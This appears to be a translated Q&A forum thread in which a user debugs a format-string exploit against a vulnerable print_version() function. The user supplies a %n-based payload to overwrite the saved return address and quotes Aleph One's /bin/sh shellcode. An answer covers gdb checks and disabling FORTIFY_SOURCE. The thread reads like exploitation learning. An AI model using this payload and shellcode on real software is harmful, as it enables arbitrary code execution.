1

我在禁用堆栈随机化的环境中运行它,并使用与 AlephOne 的缓冲区溢出兼容的 gcc 版本 - 效果很好!

我试图用包含我的 shellcode 的数组的地址覆盖指令指针寄存器(eip)。不过,我总是以分段错误告终。以下是我试图利用的一个片段:

//Prints version
static
void print_version(char* cmd) 
{
    char txt[640+1];
    snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
    printf(txt);
}

我通过 execve() 调用这个函数。格式字符串就是这里的argv[0],成功传递给上面的函数。

我有这个格式字符串:

\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n

其次是 200 个 NOP、shellcode 和剩余的带有 NOP 的数组。

shellcode 是 Aleph One 的代码:

static char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

回到格式字符串,我将 4 个地址 0xffbfdc0c 覆盖到 0xffbfdc0f。0xffbfdc0c 是我通过在顶部提到的 print_version() 函数上设置断点找到的保存的 eip 地址。

我正在尝试用地址 0xffbfdcd4 替换它,它比 print_version 中 txt[] 数组的基地址高 150 个字节(计算函数中 txt[] 的初始字符和之后的格式字符串,希望它可以着陆在 shellcode 之前的 NOP 中的某处)。

我只是以 SEG 故障告终。我不确定如何进一步进行或我应该如何调试以查看它是否实际上覆盖了预期地址的值。

编辑:我使用正确的格式字符串吗?

谁能告诉我如何在我的程序产生段错误之后或在段错误之前但在地址更改之后使用 gdb 检查地址?

谢谢。

4

1 回答 1

0

一些事情..您声明您的格式字符串是 argv[0]。你确定你不是说 argv[1] 吗?argv[0] 通常保留给程序名称,argv[1] 是程序的第一个参数。

您可以通过在右边发生之前和之后立即设置断点来检查右边的地址,然后使用 x/x 0xffbfdc0c 来查看您是否正在写入正确的位置。GDB 手册(可在线获取)也可能对您有所帮助。

格式化字符串写入的巧妙之处在于您不限于可以写入的位置,因此任何东西都是免费游戏(提示提示)。您可能还想确保在编译程序时没有设置 -D_FORITY_SOURCE。

于 2013-10-04T00:34:07.187 回答